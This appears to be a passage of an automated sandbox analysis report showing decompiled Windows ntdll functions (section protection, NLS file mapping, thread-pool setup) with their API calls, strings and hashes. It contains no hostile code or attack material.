Part of subcall function 6CE06C14: memcpy.1105(?,?,?,?,00000000,00000024,?,?,6CE06BCE,?,00000208,6CEF79A0,?,?,6CEF79A0), ref: 6CE06C39
Part of subcall function 6CE06C14: memset.1105(00000208,00000000,00000208,?,00000000,00000024,?,?,6CE06BCE,?,00000208,6CEF79A0,?,?,6CEF79A0), ref: 6CE06C71

RtlDeNormalizeProcessParams.1105(00000000,?,?,00000000,?,?,?,?,?,?,-00000002,?,00000208), ref: 6CE61C03

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemcpymemset$AllocateEnterHeapLeaveNormalizeParamsProcess
String ID:
API String ID: 2315816726-0
Opcode ID: 6f1859695f3d840d9b681355c68c7ec3801dd5ae388ea9736826eebd35308201
Instruction ID: ed635b3667b7fa3fe8d35c49f68925e0e601bddceb32b93252414bedea38986f
Opcode Fuzzy Hash: 6f1859695f3d840d9b681355c68c7ec3801dd5ae388ea9736826eebd35308201
Instruction Fuzzy Hash: C2D1AF71B406059BDB04CF69C890BAE77B8AF06318F24462DEC65DBF90E734D995CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE83C93, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141
nativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6CE83C93(intOrPtr __ecx, wchar_t* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				wchar_t* _v32;
				intOrPtr _v36;
				short _v38;
				void* _v40;
				void* _v48;
				void* _v56;
				void* __ebp;
				wchar_t* _t40;
				long _t43;
				long _t67;
				signed int _t72;
				intOrPtr _t75;
				signed short _t76;
				short _t78;
				intOrPtr _t79;
				void* _t80;
				signed short* _t81;
				intOrPtr _t84;
				void* _t85;
				void* _t89;

				_v12 = _v12 & 0x00000000;
				_t81 = __edx;
				_t79 = __ecx;
				_v24 = __ecx;
				_t40 = wcschr(__edx, 0x3d);
				if(_t40 == 0) {
					L25:
					__eflags = 0;
					return 0;
				}
				 *_t40 = 0;
				_t72 =  *_t81 & 0x0000ffff;
				_t87 = _t72 - 0x53;
				if(_t72 != 0x53) {
					__eflags = _t72 - 0x4f;
					if(_t72 != 0x4f) {
						goto L25;
					}
					_t43 = wcstoul( &(_t40[0]),  &_v32, 0x10);
					_t85 = _t85 + 0xc;
					_v12 = _t43;
					__eflags = _t43;
					if(__eflags == 0) {
						goto L25;
					}
					_t67 = 1;
					L6:
					_t80 = E6CE83E74(_t79, _t87);
					if(_t80 == 0) {
						goto L25;
					}
					_t75 = 0;
					_t84 = ( *(_t80 + 0x14) & 0x0000ffff) + 0x18 + _t80;
					_t89 = 0 -  *(_t80 + 6);
					while(1) {
						_v8 = _t75;
						if(_t89 >= 0) {
							break;
						}
						_t78 = 8;
						if( *((intOrPtr*)(_t84 + 0xc)) == 0 ||  *((intOrPtr*)(_t84 + 8)) == 0) {
							L23:
							_t75 = _t75 + 1;
							_t84 = _t84 + 0x28;
							_t89 = _t75 - ( *(_t80 + 6) & 0x0000ffff);
							continue;
						} else {
							if(_t67 != 0) {
								_t21 = _t75 + 1; // 0x2
								__eflags = _v12 - _t21;
								if(_v12 != _t21) {
									L21:
									__eflags = _t67;
									if(_t67 != 0) {
										goto L23;
									}
									L22:
									RtlFreeUnicodeString( &_v48);
									_t75 = _v8;
									goto L23;
								}
								L19:
								_v16 =  *((intOrPtr*)(_t84 + 8));
								_v20 =  *((intOrPtr*)(_t84 + 0xc)) + _v24;
								_push( &_v28);
								_push(_a4);
								_push( &_v16);
								_push( &_v20);
								_push(0xffffffff);
								E6CE49A00();
								_push(_v28);
								_push(_v16);
								_push(_v20);
								E6CE95720(0x55, 3, "Set 0x%X protection for %p section for %d bytes, old protection 0x%X\n", _a4);
								_t85 = _t85 + 0x1c;
								__eflags = _t67;
								if(_t67 != 0) {
									break;
								}
								_t75 = _v8;
								goto L21;
							}
							_t76 = 0;
							_v36 = _t84;
							_v38 = _t78;
							_v40 = 0;
							while( *((char*)((_t76 & 0x0000ffff) + _t84)) != 0) {
								_t76 = _t76 + 1;
								_v40 = _t76;
								if(_t76 < _t78) {
									continue;
								}
								break;
							}
							if(RtlAnsiStringToUnicodeString( &_v48,  &_v40, 1) < 0) {
								goto L25;
							}
							if(RtlCompareUnicodeString( &_v56,  &_v48, 1) == 0) {
								goto L19;
							}
							goto L22;
						}
					}
					return 1;
				}
				RtlInitUnicodeString( &_v56,  &(_t40[0]));
				_t67 = 0;
				goto L6;
			}

0x6ce83c9b
0x6ce83ca2
0x6ce83ca4
0x6ce83ca9
0x6ce83cac
0x6ce83cb5
0x6ce83e08
0x6ce83e08
0x00000000
0x6ce83e08
0x6ce83cbd
0x6ce83cc0
0x6ce83cc3
0x6ce83cc6
0x6ce83cd9
0x6ce83cdc
0x00000000
0x00000000
0x6ce83cec
0x6ce83cf1
0x6ce83cf4
0x6ce83cf7
0x6ce83cf9
0x00000000
0x00000000
0x6ce83cff
0x6ce83d01
0x6ce83d08
0x6ce83d0c
0x00000000
0x00000000
0x6ce83d1b
0x6ce83d1d
0x6ce83d1f
0x6ce83d23
0x6ce83d23
0x6ce83d26
0x00000000
0x00000000
0x6ce83d32
0x6ce83d33
0x6ce83df5
0x6ce83df9
0x6ce83dfa
0x6ce83dfd
0x00000000
0x6ce83d43
0x6ce83d45
0x6ce83d94
0x6ce83d97
0x6ce83d9a
0x6ce83de5
0x6ce83de5
0x6ce83de7
0x00000000
0x00000000
0x6ce83de9
0x6ce83ded
0x6ce83df2
0x00000000
0x6ce83df2
0x6ce83d9c
0x6ce83d9f
0x6ce83da8
0x6ce83dae
0x6ce83daf
0x6ce83db5
0x6ce83db9
0x6ce83dba
0x6ce83dbc
0x6ce83dc1
0x6ce83dc4
0x6ce83dc7
0x6ce83dd6
0x6ce83ddb
0x6ce83dde
0x6ce83de0
0x00000000
0x00000000
0x6ce83de2
0x00000000
0x6ce83de2
0x6ce83d47
0x6ce83d49
0x6ce83d4c
0x6ce83d50
0x6ce83d54
0x6ce83d5d
0x6ce83d5f
0x6ce83d66
0x00000000
0x00000000
0x00000000
0x6ce83d66
0x6ce83d79
0x00000000
0x00000000
0x6ce83d90
0x00000000
0x00000000
0x00000000
0x6ce83d92
0x6ce83d33
0x00000000
0x6ce83e04
0x6ce83cd0
0x6ce83cd5
0x00000000

APIs

wcschr.1105(?,0000003D,00000000,?), ref: 6CE83CAC
RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6CE83CD0
wcstoul.1105(-00000002,?,00000010,00000000,?), ref: 6CE83CEC
RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6CE83D72
RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6CE83D89
ZwProtectVirtualMemory.1105(000000FF,?,?,00000000,?,00000000,?), ref: 6CE83DBC
DbgPrintEx.1105(00000055,00000003,Set 0x%X protection for %p section for %d bytes, old protection 0x%X,00000000,?,?,?,000000FF,?,?,00000000,?,00000000,?), ref: 6CE83DD6
RtlFreeUnicodeString.1105(?,00000000,?), ref: 6CE83DED

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 6CE83DCD

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$AnsiCompareFreeInitMemoryPrintProtectVirtualwcschrwcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1186784509-1979073566
Opcode ID: 9f5e1921bb4344e8a8ca7d9a474f35090f7c5914170763518dfe634b496a56c8
Instruction ID: c181a380ccc15b3d32404c83bf0716e51761f142bfd7054381c640bb54c79283
Opcode Fuzzy Hash: 9f5e1921bb4344e8a8ca7d9a474f35090f7c5914170763518dfe634b496a56c8
Instruction Fuzzy Hash: 0A410A76D02209AADF10CBE5C851BEEB7F8EF05318F74412AE919E3A80E735DA45C761

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3F0BF, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6CE3F0BF(signed short* __ecx, signed short __edx, void* __eflags, void** _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				char _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				void* _t51;
				signed short _t82;
				short _t84;
				signed int _t91;
				void* _t97;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				void* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = L6CE24120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t108 = E6CE49830();
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v44);
						_push( &_v52);
						_push(_v68);
						_t108 = E6CE49990();
						if(_t108 < 0) {
							L10:
							_push(_v68);
							E6CE495D0();
							goto L11;
						} else {
							_t109 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								_t97 = _t21;
								 *((intOrPtr*)(_t109 + 4)) = _v76;
								 *_t109 = 1;
								 *(_t109 + 0x10) = _t97;
								 *(_t109 + 0xe) = _t82;
								 *(_t109 + 8) = _v72;
								 *((intOrPtr*)(_t109 + 0x14)) = _v48;
								memcpy(_t97, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *(_t109 + 0x10) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v76);
										E6CE495D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)( *(_t109 + 0x10) + _t100)) = _t84;
										 *((short*)( *(_t109 + 0x10) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x6ce3f0d3
0x6ce3f0d9
0x6ce3f0e0
0x6ce3f0e7
0x6ce3f0f2
0x6ce3f0f4
0x6ce3f0f8
0x6ce3f100
0x6ce3f108
0x6ce3f10d
0x6ce3f115
0x6ce3f116
0x6ce3f11f
0x6ce3f123
0x6ce3f124
0x6ce3f12c
0x6ce3f130
0x6ce3f144
0x6ce3f14b
0x6ce3f152
0x6ce7bab0
0x6ce7bab0
0x6ce3f158
0x6ce3f158
0x6ce3f15a
0x6ce3f160
0x6ce3f165
0x6ce3f166
0x6ce3f16f
0x6ce3f173
0x6ce7baa7
0x6ce7baa7
0x6ce7baab
0x00000000
0x6ce3f179
0x6ce3f18d
0x6ce3f191
0x6ce7baa2
0x00000000
0x6ce3f197
0x6ce3f19b
0x6ce3f19b
0x6ce3f1a2
0x6ce3f1a9
0x6ce3f1af
0x6ce3f1b2
0x6ce3f1b6
0x6ce3f1b9
0x6ce3f1c4
0x6ce3f1d8
0x6ce3f1df
0x6ce3f1e3
0x6ce3f1eb
0x6ce3f1ee
0x6ce3f1f4
0x6ce3f20f
0x6ce7bab7
0x6ce7babb
0x6ce7bacc
0x6ce7bad1
0x6ce3f215
0x6ce3f218
0x6ce3f226
0x6ce3f22b
0x00000000
0x6ce3f22b
0x6ce3f1f6
0x6ce3f1f6
0x6ce3f1f9
0x6ce3f1fb
0x6ce3f1fb
0x6ce3f1f4
0x6ce3f191
0x6ce3f173
0x6ce3f152
0x6ce3f203

APIs

ZwOpenFile.1105(?,?,?,00000021,00100020,?), ref: 6CE3F134
RtlFreeHeap.1105(?,00000000,?,?,?,?,00000021,00100020,?), ref: 6CE3F14B
ZwQueryVolumeInformationFile.1105(00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6CE3F16A
RtlAllocateHeap.1105(?,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6CE3F188
memcpy.1105(00000018,?,00000000,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021), ref: 6CE3F1C4
ZwClose.1105(00000000,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6CE7BAAB
ZwClose.1105(?,?,?,00000000,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6CEF79A0,6CEF79A0), ref: 6CE7BABB
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6CE7BACC

Strings

@, xrefs: 6CE3F124

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$CloseFileFree$AllocateInformationOpenQueryVolumememcpy
String ID: @
API String ID: 3376599671-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: b29c55f24e1db3aaa09e58e26b7132f1387809a2d012571c6a3cf78821627caf
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 59515A71505710ABC320CF19C840A6BB7F8FF48714F208A2EF99597B90E7B8E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB6369, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 113
nativefileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6CEB6369(char* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr* _a4) {
				signed int _v12;
				short _v536;
				char _v540;
				char _v544;
				char _v548;
				intOrPtr _v556;
				char _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				char _v584;
				void* _v592;
				char _v600;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t33;
				char* _t50;
				intOrPtr* _t52;
				intOrPtr* _t63;
				signed int _t65;

				_v12 =  *0x6cefd360 ^ _t65;
				_t52 = _a4;
				_t63 = __edx;
				_t64 = __ecx;
				_t62 = 0x100;
				if(E6CE9CD55( &_v536, 0x100, L"\\SystemRoot\\Globalization\\") < 0) {
					L11:
					_t33 = 0xc0000001;
					L12:
					return E6CE4B640(_t33, _t52, _v12 ^ _t65, _t62, _t63, _t64);
				}
				_t64 = 0x100;
				_t62 = 0x100;
				if(E6CEA83B1( &_v536, 0x100, __ecx) < 0) {
					goto L11;
				}
				_t62 = 0x100;
				if(E6CEA83B1( &_v536, 0x100, L".nlp") < 0) {
					goto L11;
				}
				RtlInitUnicodeString( &_v592,  &_v536);
				_v584 = 0x18;
				_push(0);
				_v580 = 0;
				_v576 =  &_v592;
				_push(1);
				_push( &_v600);
				_v572 = 0x40;
				_push( &_v584);
				_push(0x80100000);
				_v568 = 0;
				_push( &_v540);
				_v564 = 0;
				_t64 = E6CE49830();
				if(_t64 >= 0) {
					_t62 =  &_v560;
					if(E6CEB60A2(_v540,  &_v560) < 0 || _v556 != 0) {
						_t64 = 0xc0000001;
					} else {
						_push(_v540);
						_push(0x8000000);
						_push(2);
						 *_t52 = _v560;
						_t52 = 0;
						_push(0);
						_push(0);
						_push(0xf0005);
						_push( &_v544);
						_t64 = E6CE499A0();
						if(_t64 >= 0) {
							_push(2);
							_push(0);
							_push(1);
							 *_t63 = 0;
							_push( &_v548);
							_push(0);
							_push(0);
							_push(0);
							_push(_t63);
							_push(0xffffffff);
							_push(_v544);
							_v548 = 0;
							_t50 = E6CE49780();
							_push(_v544);
							_t64 = _t50;
							E6CE495D0();
						}
					}
					_push(_v540);
					E6CE495D0();
				}
				_t33 = _t64;
				goto L12;
			}

0x6ceb637b
0x6ceb637f
0x6ceb6384
0x6ceb6386
0x6ceb638d
0x6ceb639f
0x6ceb64e3
0x6ceb64e3
0x6ceb64e8
0x6ceb64f8
0x6ceb64f8
0x6ceb63a6
0x6ceb63b1
0x6ceb63ba
0x00000000
0x00000000
0x6ceb63c5
0x6ceb63d4
0x00000000
0x00000000
0x6ceb63e8
0x6ceb63ef
0x6ceb63f9
0x6ceb6400
0x6ceb6406
0x6ceb6412
0x6ceb6414
0x6ceb641b
0x6ceb6425
0x6ceb6426
0x6ceb6431
0x6ceb6437
0x6ceb6438
0x6ceb6443
0x6ceb6447
0x6ceb6453
0x6ceb6460
0x6ceb64cf
0x6ceb646b
0x6ceb646b
0x6ceb6477
0x6ceb647c
0x6ceb647e
0x6ceb6480
0x6ceb6482
0x6ceb6483
0x6ceb6484
0x6ceb648f
0x6ceb6495
0x6ceb6499
0x6ceb649b
0x6ceb649d
0x6ceb649e
0x6ceb64a6
0x6ceb64a8
0x6ceb64a9
0x6ceb64aa
0x6ceb64ab
0x6ceb64ac
0x6ceb64ad
0x6ceb64af
0x6ceb64b5
0x6ceb64bb
0x6ceb64c0
0x6ceb64c6
0x6ceb64c8
0x6ceb64c8
0x6ceb6499
0x6ceb64d4
0x6ceb64da
0x6ceb64da
0x6ceb64df
0x00000000

APIs

RtlInitUnicodeString.1105(?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6CEB63E8
ZwOpenFile.1105(?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6CEB643E

Part of subcall function 6CEB60A2: ZwQueryInformationFile.1105(?,00000001,?,00000018,00000005,00000000,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000), ref: 6CEB60C4

ZwCreateSection.1105(?,000F0005,00000000,00000000,00000002,08000000,?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp), ref: 6CEB6490

Part of subcall function 6CE499A0: LdrInitializeThunk.NTDLL(6CE91A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6CE499AA

ZwMapViewOfSection.1105(?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002,08000000), ref: 6CEB64BB

Part of subcall function 6CE49780: LdrInitializeThunk.NTDLL(6CE91A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6CE4978A

ZwClose.1105(?,?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002), ref: 6CEB64C8
ZwClose.1105(?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6CEB64DA

Strings

.nlp, xrefs: 6CEB63C0
@, xrefs: 6CEB641B
\SystemRoot\Globalization\, xrefs: 6CEB6388

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileInitializeSectionThunk$CreateInformationInitOpenQueryStringUnicodeView
String ID: .nlp$@$\SystemRoot\Globalization\
API String ID: 4284092774-2934557456
Opcode ID: 996114c9cbcaa727b9f2ddb5ceefcb6cb2ca0c5046a016f4165fabdb669aa11c
Instruction ID: 2c1578ef541150159b7bdc5da5cafb4a5082e3515e007bcae64eff98063e2944
Opcode Fuzzy Hash: 996114c9cbcaa727b9f2ddb5ceefcb6cb2ca0c5046a016f4165fabdb669aa11c
Instruction Fuzzy Hash: 61416F71D4162C6BDB259B64DD88BEEB77CEB44314F2041E9A908F7640DB749E88CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE337EB, Relevance: 15.3, APIs: 10, Instructions: 269
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE337EB(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t98;
				intOrPtr _t102;
				char* _t113;
				signed short _t123;
				signed int _t124;
				signed int _t129;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t139;
				intOrPtr* _t141;
				long _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t157;
				signed int _t160;
				signed short _t163;
				signed short _t164;
				signed int _t173;
				intOrPtr* _t176;
				short _t178;
				intOrPtr _t179;
				intOrPtr* _t181;
				intOrPtr _t182;
				void* _t183;

				_push(0x50);
				_push(0x6cedff48);
				E6CE5D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t183 - 0x44)) = __ecx;
				 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000001;
				 *((intOrPtr*)(_t183 - 0x24)) = 0;
				 *((intOrPtr*)(__ecx)) = 0;
				 *(_t183 - 0x2c) = __edx & 0x00000001;
				_t98 =  *[fs:0x30];
				RtlImageNtHeader( *(_t98 + 8));
				if(_t98 == 0) {
					_t178 = 0xc000007b;
					L28:
					return E6CE5D0D1(_t178);
				}
				 *((intOrPtr*)(_t183 - 0x38)) =  *((intOrPtr*)(_t98 + 0x60));
				_t179 =  *((intOrPtr*)(_t98 + 0x64));
				 *((intOrPtr*)(_t183 - 0x30)) = _t179;
				_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x208));
				if(_t102 != 0) {
					if(_t179 < _t102) {
						 *((intOrPtr*)(_t183 - 0x30)) = _t102;
					}
				}
				_t181 = RtlAllocateHeap( *( *[fs:0x30] + 0x18),  *0x6cef84c4 + 0x000c0000 | 0x00000008, 0x120);
				 *((intOrPtr*)(_t183 - 0x20)) = _t181;
				 *((intOrPtr*)(_t183 - 4)) = 0;
				 *((intOrPtr*)(_t183 - 0x40)) = 1;
				if(_t181 == 0) {
					L36:
					_t178 = 0xc0000017;
					 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
					goto L24;
				} else {
					_t152 =  *0x6cef84c4 + 0xc0000;
					 *(_t183 - 0x48) = _t152;
					_t153 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t152,  *0x6cef84c0 * 0x24);
					 *((intOrPtr*)(_t183 - 0x24)) = _t153;
					if(_t153 == 0) {
						_t178 = 0xc0000017;
						 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
						_t181 =  *((intOrPtr*)(_t183 - 0x20));
						L24:
						 *((intOrPtr*)(_t183 - 4)) = 0xfffffffe;
						 *((intOrPtr*)(_t183 - 0x40)) = 0;
						E6CE33B5A(_t107, 0, _t178, _t181);
						if(_t178 < 0) {
							goto L28;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t183 - 0x44)))) = _t181;
						if(E6CE27D50() != 0) {
							_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							_t178 =  *((intOrPtr*)(_t183 - 0x1c));
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
						} else {
							_t113 = 0x7ffe0386;
						}
						if( *_t113 != 0) {
							L32:
							E6CED8BB6(_t181);
						}
						goto L28;
					}
					_t154 = 0;
					 *(_t183 - 0x28) = 0;
					_t182 =  *((intOrPtr*)(_t183 - 0x20));
					_t173 =  *0x6cef84c0;
					while(_t154 < 3) {
						 *((intOrPtr*)(_t182 + 0x10 + _t154 * 4)) = _t173 * _t154 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						_t154 = _t154 + 1;
						 *(_t183 - 0x28) = _t154;
					}
					_t155 = 0;
					while(1) {
						 *(_t183 - 0x28) = _t155;
						if(_t155 >= _t173 * 3) {
							break;
						}
						_t141 = _t155 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						 *((intOrPtr*)(_t141 + 8)) = 0;
						 *((intOrPtr*)(_t141 + 4)) = _t141;
						 *_t141 = _t141;
						_t155 = _t155 + 1;
					}
					_t157 =  *0x6cef84c4 + 0xc0000;
					 *(_t183 - 0x4c) = _t157;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t157 | 0x00000008, _t173 << 2);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x1c) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t160 =  *0x6cef84c4 + 0xc0000;
					 *(_t183 - 0x50) = _t160;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t160 | 0x00000008,  *0x6cef84c0 * 0xc);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x20) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t123 =  *0x7ffe03c0;
					 *(_t183 - 0x34) = _t123;
					 *(_t183 - 0x54) = _t123;
					 *(_t181 + 0x100) = _t123;
					_t178 = E6CE33B7A(_t181);
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					}
					 *((intOrPtr*)(_t181 + 0x104)) = 0xfffffffe;
					 *(_t183 - 0x60) = 0;
					 *((intOrPtr*)(_t183 - 0x5c)) = 0;
					_t163 =  *(_t183 - 0x34);
					_t124 = _t163 & 0x0000ffff;
					 *(_t183 - 0x60) = _t124;
					 *(_t181 + 8) = _t124;
					 *((intOrPtr*)(_t181 + 0xc)) = 0;
					 *_t181 = 1;
					if(_t163 < 4) {
						_t164 = 4;
					} else {
						_t164 = _t163 + 1;
					}
					 *(_t183 - 0x34) = _t164;
					_t49 = _t181 + 0x28; // 0x28
					_push(_t164);
					_push(0);
					_push(0x1f0003);
					_t178 = E6CE49F70();
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					} else {
						 *((intOrPtr*)(_t183 - 4)) = 1;
						 *((intOrPtr*)(_t183 - 0x3c)) = 1;
						_t129 =  *0x7ffe03c0 << 2;
						if(_t129 < 0x200) {
							_t129 = 0x200;
						}
						_t53 = _t181 + 0x24; // 0x24
						_push( *((intOrPtr*)(_t183 - 0x30)));
						_push( *((intOrPtr*)(_t183 - 0x38)));
						_push(_t129);
						_push(_t181);
						_push(0x6ce2c740);
						_push(0xffffffff);
						_push( *((intOrPtr*)(_t181 + 0x28)));
						_push(0);
						_push(0xf00ff);
						_t178 = E6CE4A160();
						 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
						if(_t178 < 0) {
							L23:
							 *((intOrPtr*)(_t183 - 4)) = 0;
							 *((intOrPtr*)(_t183 - 0x3c)) = 0;
							_t107 = E6CE33B48(_t130, 0, _t178, _t181);
							goto L24;
						} else {
							if( *(_t183 - 0x2c) != 0) {
								_push(4);
								_push(_t183 - 0x2c);
								_push(0xd);
								_push( *((intOrPtr*)(_t181 + 0x24)));
								_t178 = E6CE4AE70();
								 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
								if(_t178 < 0) {
									goto L23;
								}
								 *((short*)(_t181 + 0xe6)) =  *(_t183 - 0x2c);
							}
							 *((intOrPtr*)(_t181 + 0x2c)) = 0;
							 *((intOrPtr*)(_t181 + 0xe0)) = 0;
							 *((intOrPtr*)(_t181 + 0x110)) = 0;
							 *((short*)(_t181 + 0xe4)) = 0;
							_t63 = _t181 + 0x30; // 0x30
							_t133 = _t63;
							 *((intOrPtr*)(_t133 + 4)) = _t133;
							 *_t133 = _t133;
							_t65 = _t181 + 0x38; // 0x38
							_t134 = _t65;
							 *((intOrPtr*)(_t134 + 4)) = _t134;
							 *_t134 = _t134;
							_t67 = _t181 + 0x114; // 0x114
							_t135 = _t67;
							 *((intOrPtr*)(_t135 + 4)) = _t135;
